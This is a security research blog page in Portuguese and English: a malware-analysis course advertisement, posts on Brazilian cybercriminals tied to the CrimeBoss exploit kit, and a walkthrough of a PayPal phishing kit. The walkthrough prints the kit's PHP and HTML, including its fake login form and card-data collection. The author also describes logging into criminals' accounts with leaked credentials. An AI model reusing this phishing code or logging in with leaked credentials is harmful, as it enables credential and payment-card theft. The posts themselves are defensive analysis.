segunda-feira, 10 de março de 2014

Curso EAD Engenharia Reversa e Análise de Malware

33 comentários
Tenho o prazer de anunciar o curso Engenharia Reversa e Análise de Malware que ministro de forma independente através de videoaulas.

Esse curso já foi ministrado ao vivo para cinco turmas diferentes tanto a distância quanto presencial, sempre sendo muito bem recebido pelos alunos. Agora as aulas gravadas estão sendo vendidas juntas com todo o material. 

Não há formação de turmas, o início é imediato. Veja todos os detalhes abaixo.

Opinião de quem já fez o curso


"Sem dúvida o curso foi meu melhor investimento de 2013. Você é um grande mestre na arte de ensinar sobre Análise de Malware, em nenhum momento no curso senti aquela hierarquia aluno e professor, a sensação que dá é que tem um grande brother com muito conhecimento compartilhando com os demais. Foi show! Valeu brother!" - Natan

"Muito obrigado pela oportunidade de ter participado deste curso, não tenho dúvidas que ele realmente abriu a minha mente em diversos aspectos. Espero participar de outros cursos ou eventos em que você estiver participando, até a próxima meu amigo." - Bruno

"O curso foi muito bem ministrado e eu particularmente gostei bastante. O material do curso foi muito bem elaborado e as aulas muito bem explicadas, sim recomendo o curso a todos interessados." - Caio

"O curso é excelente. A teoria e a prática são muito bem explicadas. O material do curso também é excelente. Aprendi bastante durante o curso. Recomendo esse curso a todos interessados.." - Leandro

"Fiz o curso ano passado, realmente superior ou igual aos cursos das SANS, e além disso você não precisa pagar 4 ou 5 mil dólares pelo curso." - Cleiton

"O Ronaldo é um profissional de altíssimo conhecimento na área de Engenharia Reversa de Malware, e consegue transmiti-lo de uma forma bastante prática, o que é fundamental para um devido aprendizado e boa assimilação. Os exemplos utilizados, que retratam casos concretos, tornam o treinamento muitissimo interessante. Altamente recomendado!" - Marcelo

Visão Geral do Curso


Aliando teoria e prática, o curso tem como foco a engenharia reversa e análise de arquivos maliciosos da plataforma Windows. Além disso, também são abordadas técnicas para análise de código web e documentos maliciosos do formato PDF e Microsoft Office, que atualmente são vetores populares de ataques. No aspecto teórico o aluno terá contato com tópicos indispensáveis na análise de malware. Fundamentos do funcionamento interno da CPU, sistema operacional, gerenciamento de memória e estruturas de arquivos serão explicados em linguagem de fácil entendimento.

Para que o conhecimento teórico seja assimilado, durante todo o treinamento o aluno realizará análises práticas de malwares atuais através dos Labs. Serão apresentados métodos, técnicas e ferramentas (gratuitas) que auxiliarão o aluno em todo o processo.
Ao final do curso o aluno será capaz de dissecar um arquivo desconhecido e emitir um parecer sobre ele explicando suas funcionalidades, capacidades, riscos e sugerir contramedidas.

Carga Horária: 40 horas


Aulas


São 20 videoaulas que foram gravadas no segundo semestre de 2013 e otimizadas para melhor aproveitamento do tempo. O alunos poderão fazer download de todas os vídeos para assistir quantas vezes quiser. Qualquer dúvida que o aluno tiver durante as aulas poderá ser enviada por email para o instrutor que responderá o mais rápido possível. Veja abaixo os detalhes de cada aula (o conteúdo programático completo está no final do post).

Aula 01 - Introdução
Vídeo - 144 MB - Duração: 01h53

Aula 02 - Introdução/Estruturas Internas dos Softwares
Vídeo - 55,8 MB - Duração: 01h55

Aula 03 - Estruturas Internas dos Softwares
Vídeo - 71,9 MB - Duração: 02h00

Aula 04 - Laboratório para Análise de Malware
Vídeo - 98,8 MB - Duração: 02h08

Aula 05 - Trabalhando com Executáveis
Vídeo - 117 MB - Duração: 01h44

Aula 06 - Trabalhando com Executáveis
Vídeo - 137 MB - Duração: 02h04

Aula 07 - Análise Dinâmica
Vídeo - 127 MB - Duração: 01h54

Aula 08 - Análise de Executável com Técnicas Diversas
Vídeo - 159 MB - Duração: 01h59

Aula 09 - Windows Internals
Vídeo - 67,7 MB - Duração: 01h43

Aula 10 - Formato Portable Executable (PE)
Vídeo - 78,4 MB - Duração: 01h46

Aula 11 - Trabalhando com DLLs
Vídeo - 117 MB - Duração: 01h50

Aula 12 - Trabalhando com DLLs
Vídeo - 129 MB - Duração: 01h32

Aula 13 - Memory Forensics
Vídeo - 104 MB - Duração: 01h43

Aula 14 - Trabalhando com Rootkits
Vídeo - 62,1 MB - Duração: 01h39

Aula 15 - Trabalhando com Rootkits
Vídeo - 46 MB - Duração: 01h29

Aula 16 - Trabalhando com Rootkits
Vídeo - 127 MB - Duração: 01h48

Aula 17 - Packers
Vídeo - 66,4 MB - Duração: 01h43

Aula 18 - Anti-Debugging
Vídeo - 76 MB - Duração: 01h44

Aula 19 - Trabalhando com Documentos Maliciosos
Vídeo - 98,7 MB - Duração: 01h40

Aula 20 - Trabalhando com Web Malware
Vídeo - 107 MB - Duração: 01h50


Investimento: R$ 690,00



O pagamento é realizado através do sistema de pagamento online PagSeguro UOL que divide em até 18x no cartão de crédito. Faça já sua matrícula clicando no botão abaixo, após a confirmação do pagamento você já terá acesso a todo o material.



Desconto de 10% para pagamento à vista via depósito bancário/transferência (fora do PagSeguro). Solicite os dados da conta aqui.


Material


Foi dada atenção especial em formular e fornecer material de qualidade para o curso, sendo assim cada aluno terá acesso a:
  • Apostila em português com mais de 180 páginas escrita pelo próprio instrutor (PDF para download).
  • Slides de todas as aulas (PDF para download).
  • Vídeos de todas as aulas para assistir quando quiser (para download).
  • E ainda materiais extras apresentados nas aulas.

Certificado


Para os alunos que desejarem receber um certificado de conclusão do curso assinado pelo instrutor, haverá uma prova online sobre os tópicos abordados nas aulas. A prova deverá ser realizada no prazo máximo de 4 meses após a matrícula no curso (confirmação de pagamento) e terá esses requisitos:

- 30 questões de múltipla escolha
- 1 hora de duração
- Nota mínima: 18 acertos (60%)

Caso não consiga passar na 1ª tentativa o aluno poderá tentar somente mais uma segunda vez, nesse caso a nota mínima subirá para 21 acertos (70%). Maiores detalhes serão fornecidos após a matrícula.

Conteúdo Programático Detalhado


1. Introdução
1.1. Tipos de códigos maliciosos
1.2. Engenharia reversa de malware
1.3. Análise estática e dinâmica (comportamental)
1.4. Ferramentas
1.5. Antireversing e anti-antivirus
1.5.1. Polimorfismo
1.5.2. Metamorfismo
1.5.3. Packers
1.5.4. Cryptors
1.5.5. Binders, Joiners ou Wrappers
1.5.6. Strings Ofuscadas

2. Estruturas Internas dos Softwares
2.1. Níveis de abstração
2.2. Engenharia Reversa
2.3. A Arquitetura x86
2.4. Memória Principal (RAM)
2.5. Instruções
2.6. Opcodes e Endianness (Ordenação)
2.7. Operandos
2.8. Registradores
2.9. A pilha (Stack)
2.10. Chamadas de Funções (Function Calls)
2.11. Layout da Pilha (stack layout)
2.12. Exemplo de código em C e Assembly
2.13. Mais informações: linguagem assembly e arquitetura Intel x86
2.14. Lab: Entendo na prática o funcionamento da pilha com o OllyDbg

3. Laboratório para Análise de Malware
3.1. Máquina virtual
3.2. Preparação do ambiente
3.3. Lab: Uso de máquina virtual e simulação de rede

4. Trabalhando com Executáveis
4.1. Identificação do arquivo
4.2. Unpacking Automático
4.3. Strings
4.4. Strings criptografadas
4.5. Debugging
4.6. Lab: Análise de executável malicioso com strings criptografadas
4.7. Lab: Análise de executável malicioso com uso de descompilador

5. Análise Dinâmica
5.1. Monitorando processos com Process Explorer
5.2. Monitorando com Process Monitor
5.3. Monitoramento de Tráfego de Rede
5.4. Monitoramento do registro e arquivos com Regshot
5.5. O uso das ferramentas de análise dinâmica na prática
5.6. Lab: Análise dinâmica com Process Explorer e Process Monitor
5.8. Lab: Análise de executável malicioso com uso de técnicas diversas

6. Windows Internals
6.1. Níveis de privilégio do processador – Protection Rings
6.2. Transição entre os níveis de privilégio
6.3. Kernel Mode
6.4. User Mode
6.5. Windows APIs
6.5.1. Win32 API
6.5.2. Native API
6.6. Lab: Entendendo as APIs do Windows na prática
6.7. Formato Portable Executable (PE)
6.7.1. Conceitos Básicos
6.7.2. MS-DOS Header
6.7.3. PE Header
6.7.4. Section Table
6.7.5. PE Sections
6.8. O Loader – Como um arquivo PE é carregado na memória

7. Trabalhando com DLLs
7.1. Estrutura Básica de uma DLL
7.2. Enumerando Exports da DLL
7.3. Executando DLLs
7.4. Restrições de Processo Host
7.5. Debugging DLL
7.6. Component Object Model (COM)
7.7. Lab: Análise de DLL maliciosa
7.8. Lab: Injeção e Debugging de DLL

8. Memory Forensics
8.1. Aquisição da memória
8.2. Análise de Memória
8.3. Lab: Aquisição e análise de dump de memória

9. Trabalhando com Rootkits
9.1. O surgimento dos Rootkits
9.2. Tipos de rootkits
9.3. User-mode Rootkits
9.3.1. API Hooking
9.3.2. Técnicas de Hooking
9.4. Ferramentas de deteção de Rootkits
9.5. Lab 09-01 Demonstração de INT 3 Hook
9.6 Kernel-mode Rootkits
9.6.1. O Kernel do Windows (NTOSKRNL.EXE)
9.6.2. Device Drivers
9.6.3. Windows Hardware Abstraction Layer (HAL)
9.6.4. Kernel Drivers no Windows
9.6.5. Os Rootkits em Kernel-Mode
9.6.6. Análise de Kernel-Mode Rootkit
9.7. Lab: Análise de kernel-mode rootkit com o WinDbg
9.7.1. Configurando Kernel-Mode Debugging com WinDbg e VirtualBox
9.8. Referências de comandos e uso do WinDbg

10. Técnicas contra Engenharia Reversa
10.1. Packers
10.1.1. Anatomia dos Packers
10.1.2. O código de Unpacking
10.1.3. Identificando Programas com Packers
10.1.4. Métodos de Unpacking
10.1.5. Unpacking Manual
10.1.6. Analisando sem realizar o Unpacking total
10.1.7. Lab: Unpacking manual
10.2. Anti-Debugging
10.2.1. Detecção de debugger através da Windows API
10.2.2. Checagem manual de estruturas
10.2.3. Identificando o comportamento do Debugger
10.2.4. Interferindo na funcionalidade do Debugger
10.2.5. Vulnerabilidades do Debugger
10.3. Visão geral de Anti-Disassembly
10.4. Visão geral de Anti-VM
10.5. Lab: Análise de malware que emprega técnicas anti-debugging

11. Trabalhando com Documentos Maliciosos
11.1. Etapas genéricas da análise de documentos maliciosos
11.2. Análise de documento Microsoft Office
11.2.1. OfficeMalScanner
11.2.2. Ferramentas e recursos para análise de documentos Office
11.3. Lab: Análise de documento Office malicioso
11.4. Análise de PDF
11.5. Lab: Análise de PDF malicioso

12. Trabalhando com Web Malware
12.1. JavaScript
12.2. PHP
12.3. Applet Java
12.4. Flash e Action Script
12.5. Lab: Análise de web malware diversos

Tópicos Complementares da Apostila
Sandbox e Multi-AV Scanners
Coleta de Malware


Requisitos - Conhecimentos:


Para melhor aproveitamento do conteúdo é recomendável que os alunos já possuam esses conhecimentos:
  • Fundamentos em programação: if, else, while, for, funções, passagem de parâmetros, variáveis locais e variáveis globais.
  • Fundamentos em redes e sistemas operacionais.

Requisitos Técnicos:


Para que consiga assistir as videoaulas e realizar os exercícios práticos são recomendadas essas configurações mínimas:
  • Computador com 2 GB de RAM e sistema multimídia.
  • Software de virtualização instalado (recomendado VirtualBox)*
* Configurações da máquina virtual são fornecidas no curso.




Sobre o instrutor



Ronaldo Pinheiro de Lima
É um dos poucos brasileiros que possuem a certificação internacional SANS GIAC Reverse Engineering Malware (GREM). Nos últimos quatro anos tem trabalhado (e se divertido) com análise de malware, engenharia reversa e pesquisa de segurança. Atua como Cyber Threat Researcher para uma empresa americana, já colaborou com um paper sobre mecanismos de proteção em malware que foi apresentado na conferência BlackHat 2012 USA. Ministrou palestras em eventos do Brasil e Argentina. Adicionalmente possui 10 anos de experiência profissional em TI e é Bacharel em Informática. Mais info: LinkedIn.

quinta-feira, 6 de dezembro de 2012

Why the CrimeBoss Exploit Kit has sent greetings to this blog

6 comentários
Some security researchers have found a base64 encoded message addressed to this blog. It is embedded in malicious scripts related with java exploits, and, last week, it was found in CrimeBoss exploit kit.


However, earlier this year some friends had warned me about it. The first time this message became public was in April, when the blog ElegantCode got hacked. They analyzed the code injected in the page and found that message. You can read the detailed post here.

The original encoded message is this:

/*
msg = d_hex( d_b64( ?? ) );
NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2
NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1
NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2
MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy
NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2
MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy
NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2
MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw
MzEzMTJmMzEzMTJmMzEzMQ==
*/

After you convert the Base64 to Hex and Hex to ASCII with any tool like this one, you can obtain a message in Portuguese that in English is like that:

“Greetings to my fellow workers of the crimesciberneticos.com blog.
Knowing that we know nothing, we’re beyond good and evil, after all the only thing absolute is that everything is relative.
A hug, your friend Psychlo.
by Psychlo”

First of all, he is NOT my friend. :)

This blog is about cybercrime investigations, malware reverse engineering, intrusion analysis and so on. Thus, sometimes I find interesting stuff that allows me to track the Brazilian cyber criminals, and last year, I found out very interesting information about them.

Something went wrong

About one year ago, a reader sent me a message telling that he tried to access a website but the index page was presenting confusing information. See below.


Immediately I copied the source code and started the analysis. You can see the original code at Pastebin.

I took some of those strings, put on Google and got about 14,000 results with the same code. So, about 14K pages were defaced, most from Brazil.

The criminals used some kind of automated tool to deface and inject code in those pages, but it didn't work well. Consequently, it revealed a lot of information about them, how they act, their accounts, logins, passwords, databases, etc.

One of the most interesting things is this snippet:

------------
Porrinha
------------
Counter .HTTP: http://anfeso1201.dominiotempo... Total: 559
Date: 28/09/2011
Counter .HTTP: http://r7on.com.br/porraloka/clie... Total: 1671
31/08/2011
Counter .HTTP: http://netransportes.com.br/ama... Total: 2000
07/09/2011
TOTAL INFECTS: 00.000 x 0,50 = 000,00
----------
Psychlo
----------
Agreed Amount: 1000
Counter HTTP: http://64.186.158.114/tzu.php Total: 1000
I owe him: 250,00
Total: 2214,00 I will send: 3000,00 I owe him: 786,00 - 250 = 536
---------
Cavalo
---------
Counter .EXE : 2053
TOTAL INFECTS: 5.000 x 0,50 = 000,00
Counter HTTP: http://200.98.201.13/~rex/tom/rel/inf4/?url=c Total: 3758
I owe him: 600,00

We can see some information of the cybercrime’s accounting. We have three nicknames, the guy of the message (Psychlo) is one of them. Additionally, we have some counters of infected computers, how much is paid for each one (50 cents of Brazilian Real) and how much the “boss” owes for his “employees”.

Here we see the value of maintain a counter of infections. It is quite common find malware that calls home and sends data to inform new installations. They earn money with that.

We have other interesting snippets, such this one:

miroslav.stampar@gmail.com Wordpress guy
8276 0241 Oi julimar

An email address, probably a programmer, and a cell number.

http://beta.statcounter.com/p7142950/entry_page/pageload/?url=http://www.cc.com/d.php
flashgame_co_cc
b470killer

Here, they are using the statcounter.com to count their infections, but they left the username and password exposed too. With these credentials I logged into the account and gathered more information. Probably the real name and email address of one member (maybe the boss) of the gang.


In the original post I did further analysis and tried to put the pieces together. I've found malicious scripts used in Drive-by download attacks; FTP servers where they stored their files; web shells; PHP mailers to send phishing, etc.

The post was well accessed and commented in Brazil, today it has about 70 comments. However, it is interesting to note that it attracted attention from the bad guys too. Apparently even the authors of the malicious code read the post and left comments.

Take a look at the comments below to better understand the case. There are two guys, c0d3c4sh and Psychlo, talking about their criminal lives and their impressions about the post. On the other hand there are also the regular blog readers confronting their ideas (not shown in these comments).

c0d3c4sh wrote in 11/09/2011:

“I finally managed to find out who was the UNOCCUPIED that disabled my auto infect! What anger, but no problem, it is already infecting everything and online again...
Another thing, I noticed that you didn’t understand why the applet writes a file in the system...
I just put on Google and I find all I want, if someone copies my applet, I can figure out where it goes or where it is being used by some bastard banker friend.
...
Let me steal in peace, thank you.”

Psychlo wrote in 11/09/2011:

“I like it! Great job.
I confess to being happy with my "few minutes of fame" while I've read my name in the post.
The internet is really a fantastic place where I can appreciate the work of those who looks at mine. ;)
I am available on email above for talks. Although I did not paint myself as a good boy I certainly like to talk to interesting people.
...
I personally work in specific periods of the year and I say that in the coming months we will increase the “Christmas sales”. After all, everyone wants to be well on Christmas.
I can leak some information for you to do some cool posts but I want more "fame". Put me in a most important blog. Put me on TV.
Hahahaha ... I liked the post.
I hope to come back here ;)”

Psychlo wrote in 11/09/2011:

"Ahhh, c0d3c4sh. You're complaining for nothing. I'm aware that you're full of money hahaha ...
Let the guys play CSI... After all, would you say that you do not like recognition!?
But the life of cyber criminals is not easy... not...
The system was born corrupt, who insists on defending it and accept it is nothing more than a simple servant of the owners of the money. The idea of this system is so absurd that it works!
I don't do that only for the money. I'd do it even if I earned nothing.
Why do I do that?
Just for fun. And what else would it be?!?
Well... I'll sleep... This post gave me an UP (motivation)... In the following tools I will develop, that are on the "front line" and that you will have access, I'll post greetings for your support. You motivated me to create better tools.
Thank you”

c0d3c4sh wrote in 11/15/2011:

"Look at me here again, crazier than ever and I wasn't caught yet hahahahaha!
;) ...
Should I open my eyes? uhauhauhauha idiot, you make me laugh, you should open your eyes before accessing your Internet Banking.
This makes more money than drug trafficking, bro!
News soon”

Conclusion

It seems that last year they were using their malicious scripts to perform Drive-by download attacks. However, this year they improved a bit and packed the code in an Exploit Kit.

Although the use of Exploits Kits is quite spread worldwide, in Brazil it has been different, only this year they started to use it to automate their attacks. As they said in the comments, they are trying to innovate, and, of course, increase their profits.

quinta-feira, 11 de outubro de 2012

Cibercriminoso cuidadoso com o banco de dados

8 comentários
Esse é um caso onde o cibercriminoso fez a lição de casa em relação às permissões de acesso ao banco de dados do phishing.

É mais um que tem como alvo o PayPal, só que ao invés de receber as informações das vítimas por e-mail ele insere em um banco de dados.

Como tive acesso ao código-fonte PHP do phishing foi possível saber onde estava esse banco e qual era o usuário e senha. Conforme vemos abaixo.


Com essas informações pode-se utilizar qualquer client do MySQL para se conectar ao banco de dados. Foi o que fiz utilizando o MySQL Workbench, informando o host, user e password. A conexão com o banco ocorreu sem problemas.


Quando realizei um SELECT para visualizar as informações que já estavam inseridas na tabela log, o comando não executou, permissão negada.

A mensagem de erro fala que o usuário ccs a partir do meu endereço IP não tem permissão de acesso para o comando SELECT na tabela log.

Isso mostra que o cibercriminoso configurou corretamente as permissões do usuário. Sabendo que o código-fonte poderia ser visualizado por outras pessoas ele permitiu que esse usuário só realizasse INSERTs no banco, o que já é suficiente para os propósitos do golpe.

Interessante que muitas vezes nós mesmos não configuramos nossas aplicações e banco de dados de forma tão precisa como ele fez, o usuário com a mínima permissão possível. Devemos ficar atentos para essa questão também.

Ainda um outro detalhe desse phishing, analisando os nomes das variáveis vemos que algumas não estão em inglês e sim em alemão:

Vorname: Nome
Nachname: Sobrenome
Kreditkartennummer: Número do cartão de crédito
Karteninhaber: Titular do cartão
Ablaufdatum1: Data de validade 1
Ablaufdatum2: Data de validade 2
Kontonummer: Número da conta

Isso pode dar pistas da nacionalidade do autor do código... ou não. :)

segunda-feira, 8 de outubro de 2012

Phishing poliglota, análise de um caso do PayPal

13 comentários

É muito comum lidarmos com casos de phishing no Brasil, são inúmeras as páginas falsas de bancos brasileiros tentando capturar credenciais de acesso de usuários desavisados. Entretanto, esse tipo de golpe não ocorre só aqui, há pessoas aplicando esses golpes em várias partes do mundo.

Dentre as empresas internacionais mais visadas em casos de phishing a que mais se destaca é o PayPal, empresa de pagamentos online mundialmente conhecida.

Os métodos empregados nesse phishing que iremos analisar são semelhantes ao que costumamos ver por aqui, porém há alguns detalhes para deixar o golpe talvez um pouco mais sofisticado e atingir um maior número de vítimas. Vamos lá!

Página inicial

Como é comum nesses casos, as URLs do phishing tentam passar a impressão que são do próprio site do PayPal, o atacante copiou padrões de URLs utilizados no site original e tentou reproduzir nas páginas falsas. A URL que deu acesso ao phishing foi essa:

http://paypal.com-us.cgi-bin-webscr-cmd.login-submit-dispatch
.74fghghs68g484iky4mn86we8r46d4h38df4b83m48h54156ty84d87f4xnbhg
.obuvkionline.info/Open-information.php

Quebrei para facilitar a leitura, as três linhas formam somente uma URL. Se a pessoa ler somente da esquerda para a direita talvez pense que realmente se trate do site paypal.com mas o verdadeiro domínio onde a página está hospedada é esse:

obuvkionline.info

Tudo o que está antes do domínio é o subdomínio que o atacante criou para tentar enganar os usuários. Ao clicar nessa URL abriu o site abaixo.


Um site do PayPal em inglês bastante convincente visualmente. Tive acesso ao código-fonte desse phishing e assim consegui entender melhor o funcionamento, vamos ver o passo a passo da execução.

Redirecionamentos e Idiomas

O código da página Open-information.php, que é a primeira a ser executada, é esse abaixo:


Ela redireciona o usuário automaticamente para a página reboot.php que está dentro do diretório “service” do site. Esse diretório possui a estrutura abaixo, que será referenciada várias durante esse post.


Já a página reboot.php possui o seguinte código:


Essa é uma outra forma de redirecionamento, há uma variável que recebe a string “Limit” e depois um loop que vai buscando nomes de diretórios no padrão “Limit1”, “Limit2”, “Limite3”... Quando encontra um diretório com algum desses nomes ela redireciona para ele.

Olhando a figura da estrutura do diretório “service” novamente vemos que dentro dele há uma pasta chamada “Limit9”, então o reboot.php vai chamar o index dessa pasta. O porquê do redirecionamento ser feito assim entenderemos mais pra frente.

Agora passando para a análise da página “Limit9/index.php” encontramos o código abaixo:

 <?php  
 /* ############Scam Made By AdAmMeD################ */  
   #                       #  
   # Scam Made By AdAmMeD ## Scam Made By AdAmMeD #  
   #                       #  
   ################################################  
 /*                          */   
 $HTTP_ACCEPT_LANGUAGE = $_SERVER['HTTP_ACCEPT_LANGUAGE'];  
 if ($HTTP_ACCEPT_LANGUAGE != ''){   
   $idiomas = explode(",", $HTTP_ACCEPT_LANGUAGE);  
   for ($i=0; $i<count($idiomas); $i++){  
     if (!isset($idioma)){  
       if (substr($idiomas[$i], 0, 2) == "es"){$idioma = "ES";}  
                if (substr($idiomas[$i], 0, 2) == "en"){$idioma = "EN";}  
       if (substr($idiomas[$i], 0, 2) == "fr"){$idioma = "FR";}  
     } else { $idioma = "EN"; }  
   }  
 }  
 include 'Pay_'.$idioma.'.php';  
 /*  ############Scam Made By AdAmMeD################ */  
   #                                                             #  
   # Scam Made By AdAmMeD ## Scam Made By AdAmMeD            #  
   #                                                            #  
   ##########################################  
 /*                          */   
 ?>  

A princípio vemos a assinatura do autor do código do phishing “Scam Made By AdAmMeD”. Não necessariamente é a pessoa que está aplicando o golpe, pode ser que ele só fez o código e vendeu ou disponibilizou para download.

Em seguida é acessada a variável global do PHP “HTTP_ACCEPT_LANGUAGE” que informa qual é o idioma que o navegador do usuário que requisitou a página aceita. Essa variável busca o header HTTP Accept Language.

A partir disso o atacante sabe qual é o idioma mais adequado para apresentar a página falsa do PayPal. Isso mostra ele que não está só querendo vítimas que entendam inglês, como vemos no código ele também tem versões para espanhol e francês.

Baseado nessas informações ele inclui no código a página do PayPal adequada. Olhando novamente na figura do diretório “service” vemos que há as páginas Pay_EN.php, Pay_ES.php e Pay_FR.php.

Após a inclusão da página, ele finalmente exibe a tela inicial do phishing, aquela que vimos na primeira figura.

Vamos fazer a análise da versão em inglês, a página Pay_EN.php. Essa página possui um código PHP inicial seguido do código HTML da página, que contém alguns forms para receber inputs do usuário.

Mesmo fazendo essa escolha de idioma inicial, o atacante permite que o usuário altere o idioma na página, existe um form para isso:

 <form method="post" id="rosetta" class="rosetta" action="Pay_EN.php?cmd=_home&amp;dispatch=5885d80a13c0db1f8e263663d3faee8dc18bca4c6f47e633b393e284a5f8a8f8">  
 <input type="hidden" name="cmd" value="ok">  
   <fieldset>  
    <legend><span class="accessAid">Change Your Language</span></legend>  
    <label for="rosetta_dropdown">Language Select</label>  
    <select id="rosetta_dropdown" name="locale_x">  
      <option value="en_US" selected>English</option>  
      <option value="es_XC">Espa&ntilde;ol</option>  
      <option value="fr_XC">Fran&ccedil;ais</option>  
    </select>  
    <input type="submit" name="testName" value="&gt;" class="button mini">  
    <input type="hidden" id="change_locale_x" name="change_locale.x" value="1">  
   </fieldset>  
 <input type="hidden" name="cmd" value="ok">  
 <input name="form_charset" type="hidden" value="UTF-8">  
 </form>  

Agora analisando o início do código PHP da página Pay_EN.php vemos esses dados sendo tratados:


Ele inicia uma sessão do PHP caso já não tenha sido iniciada e atribui para uma variável de sessão o idioma escolhido (essa variável ficará visível para todas as páginas). Depois recebe as variáveis “cmd” e “locale_x” passados pelo form pelo método POST e então se o usuário escolheu outro idioma ele chama a página correta.

Capturando dados

Ainda na Pay_EN.php há o formulário de login da conta do PayPal, que é o que realmente o atacante deseja capturar.


O código HTML desse form é esse:

 <form method="post" name="login_form" action="webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e263663d3faee8dc18bca4c6f47e633b393e284a5f8a8f8">  
   <fieldset>  
    <legend>Member Log In</legend>  
    <p><label for="login_email">Email address</label>  
      <input type="text" id="login_email" name="login_email" value=""></p>  
    <p><label for="login_password">PayPal password</label>  
      <input autocomplete="off" type="password" id="login_password" name="login_password" value="">  
    <p><label for="target_page">Go to</label>  
      <select id="target_page" name="target_page">  
       <option value="0" selected>My account</option>  
       <option value="1">My transactions</option></select></p>  
      <input type="submit" name="submit.x" value="Log In" class="button primary">  
   </fieldset>  
   <p><a href="direct.php?site=https://www.paypal.com/us/cgi-bin/webscr?cmd=_account-recovery&amp;from=PayPal">Problem with login?</a></p>  
   <p>New to PayPal? <strong><a href="direct.php?site=https://www.paypal.com/us/cgi-bin/webscr?cmd=_registration-run">Sign up</a></strong>.             
   </p>  
   <input name="form_charset" type="hidden" value="UTF-8">  
 </form>  

Os dados inseridos nesse form vão para essa página do phishing:

"webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e2636..."

Olhando o link “Problem with login?” que o atacante redireciona para o site verdadeiro do PayPal, vemos a semelhança das duas URLs:

https://www.paypal.com/us/cgi-bin/webscr?cmd=_account-recovery&amp;from=PayPal

Mais uma vez para deixar as URLs com aparência mais legítima. Outro detalhe é que ele chama o index de um diretório e passa parâmetro para ele somente com o nome da pasta, sem especificar o arquivo index.

O atacante usou isso:

"webscr?cmd=_login-submit...”

Ao invés disso:

"webscr/index.php?cmd=_login-submit

Uma forma mais furtiva para se parecer com a URL verdadeira. Se olharmos na figura da estrutura de pastas do “service” iremos encontrar a pasta “webscr” lá, que terá o index.php que receberá os dados desse formulário passados pelo método POST.

A página “webscr/index.php” possui algumas coisas interessantes. Primeiro, para QUALQUER usuário e senha digitados no formulário anterior ela mostrará essa página:


É uma mensagem de erro de login, falando que os dados digitados não estão corretos. Isso derruba aquela dica arcaica de segurança que diz “insira qualquer usuário e senha na página, se aceitar é porque a página é falsa, senão é verdadeira”.

Essa página vai exigir que sempre o usuário digite novamente os dados de login. E quando esses dados forem digitados a página vai chamar ela mesma, porque no início dela há um código para tratar os dados. O código é esse abaixo.


Há um “if” que faz uma validação simples dos dados digitados e caso sejam válidos são criadas variáveis de sessão para receber esses dados e a execução é redirecionada para a página:

“../loading.php?cmd=_login-submit&amp;dispatch=...”

Só que antes desse redirecionamento há um include interessante também:

include "../lang/langdetect.php";

A “langdetect.php” é inserida na “webscr/index.php”, esse include tem como principal objetivo apresentar essa página do segundo login no idioma correto. Dessa vez o atacante não criou uma página para cada um, ele usou só uma página que para cada string há uma variável que a exibe no idioma correto.

Isso é feito através dessa página:


Atente-se para a linha 15 da listagem, não tem nada a ver com idioma, é criada a variável global “PR_TARGET” que será usada mais pra frente:

define('PR_TARGET', '../WEBSCR-640-20101004-1/Marketing/css/pages/');

Já as páginas com as strings de cada idioma possuem essa estrutura:


Então após digitar pela segunda vez os dados de login é chamada a página “loading.php”, que tem a única finalidade de exibir um “loading...” na tela e redirecionar para outra página através desse HTML:

<META http-equiv=Refresh content="3; URL=webscr/update.php?cmd=_login-done&amp;login_access=1193476743">

Página principal

A “update.php” é a página mais importante do golpe. A parte visual dela é uma formulário de atualização de dados do perfil do PayPal, para o usuário inserir várias informações. E como não poderia faltar, informações de cartão de crédito também.


Já o código dessa página é mais interessante, abaixo segue o trecho referente ao PHP:

 <?php  
 /* ############Scam Made By AdAmMeD################ */  
   #                       #  
   # Scam Made By AdAmMeD ## Scam Made By AdAmMeD #  
   #                       #  
   ################################################  
 /*                          */   
 //initialize the session  
 $ip = getenv("REMOTE_ADDR");  
 $browser = getenv ("HTTP_USER_AGENT");  
 if (!isset($_SESSION)) {  
  session_start();  
 }  
 ini_set('session.gc_maxlifetime', 3600);  
 include "../lang/langdetect.php";  
 require(PR_TARGET."header.php");  
 global $error;  
 $error = 1;  
 if(@$_POST['cmd'] == "ok"){  
 if(empty($_POST['defaultcvv2'])){  
 $defaultcvv2 = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['answer1'])){  
 $answer1 = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['answer2'])){  
 $answer2 = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['question1'])){  
 $quest1 = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['question2'])){  
 $quest1 = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['userphone'])){  
 $userphone = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['defaultcardnumber'])){  
 $defaultcardnumber = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['defaultcountry'])){  
 $defaultcountry = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['fullname'])){  
 $fullname = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['defaultaddress1'])){  
 $defaultaddress1 = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['defaultcity'])){  
 $defaultcity = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['defaultstate'])){  
 $defaultstate = 'error';  
 $error = 0;  
 }  
